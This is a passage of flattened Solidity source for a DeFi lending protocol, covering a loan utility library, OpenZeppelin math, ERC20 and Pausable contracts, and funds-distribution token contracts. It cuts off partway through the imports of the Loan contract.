_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
////// contracts/library/LoanLib.sol
/* pragma solidity 0.6.11; */
/* import "../interfaces/ICollateralLocker.sol"; */
/* import "../interfaces/ICollateralLockerFactory.sol"; */
/* import "../interfaces/IERC20Details.sol"; */
/* import "../interfaces/IFundingLocker.sol"; */
/* import "../interfaces/IFundingLockerFactory.sol"; */
/* import "../interfaces/IMapleGlobals.sol"; */
/* import "../interfaces/ILateFeeCalc.sol"; */
/* import "../interfaces/ILoanFactory.sol"; */
/* import "../interfaces/IPremiumCalc.sol"; */
/* import "../interfaces/IRepaymentCalc.sol"; */
/* import "../interfaces/IUniswapRouter.sol"; */
/* import "../library/Util.sol"; */
/* import "lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol"; */
/* import "lib/openzeppelin-contracts/contracts/math/SafeMath.sol"; */
/// @title LoanLib is a library of utility functions used by Loan.
library LoanLib {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public constant UNISWAP_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/********************************/
/*** Lender Utility Functions ***/
/********************************/
/**
@dev Performs sanity checks on the data passed in Loan constructor.
@param globals Instance of a MapleGlobals.
@param liquidityAsset Contract address of the Liquidity Asset.
@param collateralAsset Contract address of the Collateral Asset.
@param specs Contains specifications for this Loan.
*/
function loanSanityChecks(IMapleGlobals globals, address liquidityAsset, address collateralAsset, uint256[5] calldata specs) external view {
require(globals.isValidLiquidityAsset(liquidityAsset), "L:INVALID_LIQ_ASSET");
require(globals.isValidCollateralAsset(collateralAsset), "L:INVALID_COL_ASSET");
require(specs[2] != uint256(0), "L:ZERO_PID");
require(specs[1].mod(specs[2]) == uint256(0), "L:INVALID_TERM_DAYS");
require(specs[3] > uint256(0), "L:ZERO_REQUEST_AMT");
}
/**
@dev Returns capital to Lenders, if the Borrower has not drawn down the Loan past the grace period.
@param liquidityAsset IERC20 of the Liquidity Asset.
@param fundingLocker Address of FundingLocker.
@param createdAt Timestamp of Loan instantiation.
@param fundingPeriod Duration of the funding period, after which funds can be reclaimed.
@return excessReturned Amount of Liquidity Asset that was returned to the Loan from the FundingLocker.
*/
function unwind(IERC20 liquidityAsset, address fundingLocker, uint256 createdAt, uint256 fundingPeriod) external returns (uint256 excessReturned) {
// Only callable if Loan funding period has elapsed.
require(block.timestamp > createdAt.add(fundingPeriod), "L:STILL_FUNDING_PERIOD");
// Account for existing balance in Loan.
uint256 preBal = liquidityAsset.balanceOf(address(this));
// Drain funding from FundingLocker, transfers all the Liquidity Asset to this Loan.
IFundingLocker(fundingLocker).drain();
return liquidityAsset.balanceOf(address(this)).sub(preBal);
}
/**
@dev Liquidates a Borrower's collateral, via Uniswap, when a default is triggered. Only the Loan can call this function.
@param collateralAsset IERC20 of the Collateral Asset.
@param liquidityAsset Address of Liquidity Asset.
@param superFactory Factory that instantiated Loan.
@param collateralLocker Address of CollateralLocker.
@return amountLiquidated Amount of Collateral Asset that was liquidated.
@return amountRecovered Amount of Liquidity Asset that was returned to the Loan from the liquidation.
*/
function liquidateCollateral(
IERC20 collateralAsset,
address liquidityAsset,
address superFactory,
address collateralLocker
)
external
returns (
uint256 amountLiquidated,
uint256 amountRecovered
)
{
// Get the liquidation amount from CollateralLocker.
uint256 liquidationAmt = collateralAsset.balanceOf(address(collateralLocker));
// Pull the Collateral Asset from CollateralLocker.
ICollateralLocker(collateralLocker).pull(address(this), liquidationAmt);
if (address(collateralAsset) == liquidityAsset || liquidationAmt == uint256(0)) return (liquidationAmt, liquidationAmt);
collateralAsset.safeApprove(UNISWAP_ROUTER, uint256(0));
collateralAsset.safeApprove(UNISWAP_ROUTER, liquidationAmt);
IMapleGlobals globals = _globals(superFactory);
// Get minimum amount of loan asset get after swapping collateral asset.
uint256 minAmount = Util.calcMinAmount(globals, address(collateralAsset), liquidityAsset, liquidationAmt);
// Generate Uniswap path.
address uniswapAssetForPath = globals.defaultUniswapPath(address(collateralAsset), liquidityAsset);
bool middleAsset = uniswapAssetForPath != liquidityAsset && uniswapAssetForPath != address(0);
address[] memory path = new address[](middleAsset ? 3 : 2);
path[0] = address(collateralAsset);
path[1] = middleAsset ? uniswapAssetForPath : liquidityAsset;
if (middleAsset) path[2] = liquidityAsset;
// Swap collateralAsset for Liquidity Asset.
uint256[] memory returnAmounts = IUniswapRouter(UNISWAP_ROUTER).swapExactTokensForTokens(
liquidationAmt,
minAmount.sub(minAmount.mul(globals.maxSwapSlippage()).div(10_000)),
path,
address(this),
block.timestamp
);
return(returnAmounts[0], returnAmounts[path.length - 1]);
}
/**********************************/
/*** Governor Utility Functions ***/
/**********************************/
/**
@dev Transfers any locked funds to the Governor. Only the Governor can call this function.
@param token Address of the token to be reclaimed.
@param liquidityAsset Address of token that is used by the loan for drawdown and payments.
@param globals Instance of a MapleGlobals.
*/
function reclaimERC20(address token, address liquidityAsset, IMapleGlobals globals) external {
require(msg.sender == globals.governor(), "L:NOT_GOV");
require(token != liquidityAsset && token != address(0), "L:INVALID_TOKEN");
IERC20(token).safeTransfer(msg.sender, IERC20(token).balanceOf(address(this)));
}
/************************/
/*** Getter Functions ***/
/************************/
/**
@dev Returns if a default can be triggered.
@param nextPaymentDue Timestamp of when payment is due.
@param defaultGracePeriod Amount of time after the next payment is due that a Borrower has before a liquidation can occur.
@param superFactory Factory that instantiated Loan.
@param balance LoanFDT balance of account trying to trigger a default.
@param totalSupply Total supply of LoanFDT.
@return Boolean indicating if default can be triggered.
*/
function canTriggerDefault(uint256 nextPaymentDue, uint256 defaultGracePeriod, address superFactory, uint256 balance, uint256 totalSupply) external view returns (bool) {
bool pastDefaultGracePeriod = block.timestamp > nextPaymentDue.add(defaultGracePeriod);
// Check if the Loan is past the default grace period and that the account triggering the default has a percentage of total LoanFDTs
// that is greater than the minimum equity needed (specified in globals)
return pastDefaultGracePeriod && balance >= ((totalSupply * _globals(superFactory).minLoanEquity()) / 10_000);
}
/**
@dev Returns information on next payment amount.
@param repaymentCalc Address of RepaymentCalc.
@param nextPaymentDue Timestamp of when payment is due.
@param lateFeeCalc Address of LateFeeCalc.
@return total Entitled total amount needed to be paid in the next payment (Principal + Interest only when the next payment is last payment of the Loan).
@return principal Entitled principal amount needed to be paid in the next payment.
@return interest Entitled interest amount needed to be paid in the next payment.
@return _nextPaymentDue Payment Due Date.
@return paymentLate Whether payment is late.
*/
function getNextPayment(
address repaymentCalc,
uint256 nextPaymentDue,
address lateFeeCalc
)
external
view
returns (
uint256 total,
uint256 principal,
uint256 interest,
uint256 _nextPaymentDue,
bool paymentLate
)
{
_nextPaymentDue = nextPaymentDue;
// Get next payment amounts from RepaymentCalc.
(total, principal, interest) = IRepaymentCalc(repaymentCalc).getNextPayment(address(this));
paymentLate = block.timestamp > _nextPaymentDue;
// If payment is late, add late fees.
if (paymentLate) {
uint256 lateFee = ILateFeeCalc(lateFeeCalc).getLateFee(interest);
total = total.add(lateFee);
interest = interest.add(lateFee);
}
}
/**
@dev Returns information on full payment amount.
@param repaymentCalc Address of RepaymentCalc.
@param nextPaymentDue Timestamp of when payment is due.
@param lateFeeCalc Address of LateFeeCalc.
@param premiumCalc Address of PremiumCalc.
@return total Principal + Interest for the full payment.
@return principal Entitled principal amount needed to be paid in the full payment.
@return interest Entitled interest amount needed to be paid in the full payment.
*/
function getFullPayment(
address repaymentCalc,
uint256 nextPaymentDue,
address lateFeeCalc,
address premiumCalc
)
external
view
returns (
uint256 total,
uint256 principal,
uint256 interest
)
{
(total, principal, interest) = IPremiumCalc(premiumCalc).getPremiumPayment(address(this));
if (block.timestamp <= nextPaymentDue) return (total, principal, interest);
// If payment is late, calculate and add late fees using interest amount from regular payment.
(,, uint256 regInterest) = IRepaymentCalc(repaymentCalc).getNextPayment(address(this));
uint256 lateFee = ILateFeeCalc(lateFeeCalc).getLateFee(regInterest);
total = total.add(lateFee);
interest = interest.add(lateFee);
}
/**
@dev Calculates collateral required to drawdown amount.
@param collateralAsset IERC20 of the Collateral Asset.
@param liquidityAsset IERC20 of the Liquidity Asset.
@param collateralRatio Percentage of drawdown value that must be posted as collateral.
@param superFactory Factory that instantiated Loan.
@param amt Drawdown amount.
@return Amount of Collateral Asset required to post in CollateralLocker for given drawdown amount.
*/
function collateralRequiredForDrawdown(
IERC20Details collateralAsset,
IERC20Details liquidityAsset,
uint256 collateralRatio,
address superFactory,
uint256 amt
)
external
view
returns (uint256)
{
IMapleGlobals globals = _globals(superFactory);
uint256 wad = _toWad(amt, liquidityAsset); // Convert to WAD precision.
// Fetch current value of Liquidity Asset and Collateral Asset (Chainlink oracles provide 8 decimal precision).
uint256 liquidityAssetPrice = globals.getLatestPrice(address(liquidityAsset));
uint256 collateralPrice = globals.getLatestPrice(address(collateralAsset));
// Calculate collateral required.
uint256 collateralRequiredUSD = wad.mul(liquidityAssetPrice).mul(collateralRatio).div(10_000); // 18 + 8 = 26 decimals
uint256 collateralRequiredWAD = collateralRequiredUSD.div(collateralPrice); // 26 - 8 = 18 decimals
return collateralRequiredWAD.mul(10 ** collateralAsset.decimals()).div(10 ** 18); // 18 + collateralAssetDecimals - 18 = collateralAssetDecimals
}
/************************/
/*** Helper Functions ***/
/************************/
function _globals(address loanFactory) internal view returns (IMapleGlobals) {
return IMapleGlobals(ILoanFactory(loanFactory).globals());
}
function _toWad(uint256 amt, IERC20Details liquidityAsset) internal view returns (uint256) {
return amt.mul(10 ** 18).div(10 ** liquidityAsset.decimals());
}
}
////// contracts/math/SafeMathInt.sol
/* pragma solidity 0.6.11; */
library SafeMathInt {
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0, "SMI:NEG");
return uint256(a);
}
}
////// contracts/math/SafeMathUint.sol
/* pragma solidity 0.6.11; */
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256 b) {
b = int256(a);
require(b >= 0, "SMU:OOB");
}
}
////// lib/openzeppelin-contracts/contracts/math/SignedSafeMath.sol
/* pragma solidity >=0.6.0 <0.8.0; */
/**
* @title SignedSafeMath
* @dev Signed math operations with safety checks that revert on error.
*/
library SignedSafeMath {
int256 constant private _INT256_MIN = -2**255;
/**
* @dev Returns the multiplication of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two signed integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "SignedSafeMath: division by zero");
require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow");
int256 c = a / b;
return c;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow");
return c;
}
/**
* @dev Returns the addition of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow");
return c;
}
}
////// lib/openzeppelin-contracts/contracts/GSN/Context.sol
/* pragma solidity >=0.6.0 <0.8.0; */
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol
/* pragma solidity >=0.6.0 <0.8.0; */
/* import "../../GSN/Context.sol"; */
/* import "./IERC20.sol"; */
/* import "../../math/SafeMath.sol"; */
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
////// contracts/token/BasicFDT.sol
/* pragma solidity 0.6.11; */
/* import "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */
/* import "lib/openzeppelin-contracts/contracts/math/SafeMath.sol"; */
/* import "lib/openzeppelin-contracts/contracts/math/SignedSafeMath.sol"; */
/* import "./interfaces/IBaseFDT.sol"; */
/* import "../math/SafeMathUint.sol"; */
/* import "../math/SafeMathInt.sol"; */
/// @title BasicFDT implements base level FDT functionality for accounting for revenues.
abstract contract BasicFDT is IBaseFDT, ERC20 {
using SafeMath for uint256;
using SafeMathUint for uint256;
using SignedSafeMath for int256;
using SafeMathInt for int256;
uint256 internal constant pointsMultiplier = 2 ** 128;
uint256 internal pointsPerShare;
mapping(address => int256) internal pointsCorrection;
mapping(address => uint256) internal withdrawnFunds;
event PointsPerShareUpdated(uint256 pointsPerShare);
event PointsCorrectionUpdated(address indexed account, int256 pointsCorrection);
constructor(string memory name, string memory symbol) ERC20(name, symbol) public { }
/**
@dev Distributes funds to token holders.
@dev It reverts if the total supply of tokens is 0.
@dev It emits a `FundsDistributed` event if the amount of received funds is greater than 0.
@dev It emits a `PointsPerShareUpdated` event if the amount of received funds is greater than 0.
About undistributed funds:
In each distribution, there is a small amount of funds which do not get distributed,
which is `(value pointsMultiplier) % totalSupply()`.
With a well-chosen `pointsMultiplier`, the amount funds that are not getting distributed
in a distribution can be less than 1 (base unit).
We can actually keep track of the undistributed funds in a distribution
and try to distribute it in the next distribution.
*/
function _distributeFunds(uint256 value) internal {
require(totalSupply() > 0, "FDT:ZERO_SUPPLY");
if (value == 0) return;
pointsPerShare = pointsPerShare.add(value.mul(pointsMultiplier) / totalSupply());
emit FundsDistributed(msg.sender, value);
emit PointsPerShareUpdated(pointsPerShare);
}
/**
@dev Prepares the withdrawal of funds.
@dev It emits a `FundsWithdrawn` event if the amount of withdrawn funds is greater than 0.
@return withdrawableDividend The amount of dividend funds that can be withdrawn.
*/
function _prepareWithdraw() internal returns (uint256 withdrawableDividend) {
withdrawableDividend = withdrawableFundsOf(msg.sender);
uint256 _withdrawnFunds = withdrawnFunds[msg.sender].add(withdrawableDividend);
withdrawnFunds[msg.sender] = _withdrawnFunds;
emit FundsWithdrawn(msg.sender, withdrawableDividend, _withdrawnFunds);
}
/**
@dev Returns the amount of funds that an account can withdraw.
@param _owner The address of a token holder.
@return The amount funds that `_owner` can withdraw.
*/
function withdrawableFundsOf(address _owner) public view override returns (uint256) {
return accumulativeFundsOf(_owner).sub(withdrawnFunds[_owner]);
}
/**
@dev Returns the amount of funds that an account has withdrawn.
@param _owner The address of a token holder.
@return The amount of funds that `_owner` has withdrawn.
*/
function withdrawnFundsOf(address _owner) external view returns (uint256) {
return withdrawnFunds[_owner];
}
/**
@dev Returns the amount of funds that an account has earned in total.
@dev accumulativeFundsOf(_owner) = withdrawableFundsOf(_owner) + withdrawnFundsOf(_owner)
= (pointsPerShare * balanceOf(_owner) + pointsCorrection[_owner]) / pointsMultiplier
@param _owner The address of a token holder.
@return The amount of funds that `_owner` has earned in total.
*/
function accumulativeFundsOf(address _owner) public view returns (uint256) {
return
pointsPerShare
.mul(balanceOf(_owner))
.toInt256Safe()
.add(pointsCorrection[_owner])
.toUint256Safe() / pointsMultiplier;
}
/**
@dev Transfers tokens from one account to another. Updates pointsCorrection to keep funds unchanged.
@dev It emits two `PointsCorrectionUpdated` events, one for the sender and one for the receiver.
@param from The address to transfer from.
@param to The address to transfer to.
@param value The amount to be transferred.
*/
function _transfer(
address from,
address to,
uint256 value
) internal virtual override {
super._transfer(from, to, value);
int256 _magCorrection = pointsPerShare.mul(value).toInt256Safe();
int256 pointsCorrectionFrom = pointsCorrection[from].add(_magCorrection);
pointsCorrection[from] = pointsCorrectionFrom;
int256 pointsCorrectionTo = pointsCorrection[to].sub(_magCorrection);
pointsCorrection[to] = pointsCorrectionTo;
emit PointsCorrectionUpdated(from, pointsCorrectionFrom);
emit PointsCorrectionUpdated(to, pointsCorrectionTo);
}
/**
@dev Mints tokens to an account. Updates pointsCorrection to keep funds unchanged.
@param account The account that will receive the created tokens.
@param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal virtual override {
super._mint(account, value);
int256 _pointsCorrection = pointsCorrection[account].sub(
(pointsPerShare.mul(value)).toInt256Safe()
);
pointsCorrection[account] = _pointsCorrection;
emit PointsCorrectionUpdated(account, _pointsCorrection);
}
/**
@dev Burns an amount of the token of a given account. Updates pointsCorrection to keep funds unchanged.
@dev It emits a `PointsCorrectionUpdated` event.
@param account The account whose tokens will be burnt.
@param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal virtual override {
super._burn(account, value);
int256 _pointsCorrection = pointsCorrection[account].add(
(pointsPerShare.mul(value)).toInt256Safe()
);
pointsCorrection[account] = _pointsCorrection;
emit PointsCorrectionUpdated(account, _pointsCorrection);
}
/**
@dev Withdraws all available funds for a token holder.
*/
function withdrawFunds() public virtual override {}
/**
@dev Updates the current `fundsToken` balance and returns the difference of the new and previous `fundsToken` balance.
@return A int256 representing the difference of the new and previous `fundsToken` balance.
*/
function _updateFundsTokenBalance() internal virtual returns (int256) {}
/**
@dev Registers a payment of funds in tokens. May be called directly after a deposit is made.
@dev Calls _updateFundsTokenBalance(), whereby the contract computes the delta of the new and previous
`fundsToken` balance and increments the total received funds (cumulative), by delta, by calling _distributeFunds().
*/
function updateFundsReceived() public virtual {
int256 newFunds = _updateFundsTokenBalance();
if (newFunds <= 0) return;
_distributeFunds(newFunds.toUint256Safe());
}
}
////// contracts/token/LoanFDT.sol
/* pragma solidity 0.6.11; */
/* import "lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol"; */
/* import "./BasicFDT.sol"; */
/// @title LoanFDT inherits BasicFDT and uses the original ERC-2222 logic.
abstract contract LoanFDT is BasicFDT {
using SafeMath for uint256;
using SafeMathUint for uint256;
using SignedSafeMath for int256;
using SafeMathInt for int256;
using SafeERC20 for IERC20;
IERC20 public immutable fundsToken; // The `fundsToken` (dividends).
uint256 public fundsTokenBalance; // The amount of `fundsToken` (Liquidity Asset) currently present and accounted for in this contract.
constructor(string memory name, string memory symbol, address _fundsToken) BasicFDT(name, symbol) public {
fundsToken = IERC20(_fundsToken);
}
/**
@dev Withdraws all available funds for a token holder.
*/
function withdrawFunds() public virtual override {
uint256 withdrawableFunds = _prepareWithdraw();
if (withdrawableFunds > uint256(0)) {
fundsToken.safeTransfer(msg.sender, withdrawableFunds);
_updateFundsTokenBalance();
}
}
/**
@dev Updates the current `fundsToken` balance and returns the difference of the new and previous `fundsToken` balance.
@return A int256 representing the difference of the new and previous `fundsToken` balance.
*/
function _updateFundsTokenBalance() internal virtual override returns (int256) {
uint256 _prevFundsTokenBalance = fundsTokenBalance;
fundsTokenBalance = fundsToken.balanceOf(address(this));
return int256(fundsTokenBalance).sub(int256(_prevFundsTokenBalance));
}
}
////// lib/openzeppelin-contracts/contracts/utils/Pausable.sol
/* pragma solidity >=0.6.0 <0.8.0; */
/* import "../GSN/Context.sol"; */
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
////// contracts/Loan.sol
/* pragma solidity 0.6.11; */
/* import "lib/openzeppelin-contracts/contracts/utils/Pausable.sol"; */
/* import "lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol"; */
/* import "./interfaces/ICollateralLocker.sol"; */
/* import "./interfaces/ICollateralLockerFactory.sol"; */
/* import "./interfaces/IERC20Details.sol"; */
/* import "./interfaces/IFundingLocker.sol"; */
/* import "./interfaces/IFundingLockerFactory.sol"; */
/* import "./interfaces/IMapleGlobals.sol"; */
/* import "./interfaces/ILateFeeCalc.sol"; */
/* import "./interfaces/ILiquidityLocker.sol"; */
/* import "./interfaces/ILoanFactory.sol"; */
/* import "./interfaces/IPool.sol"; */
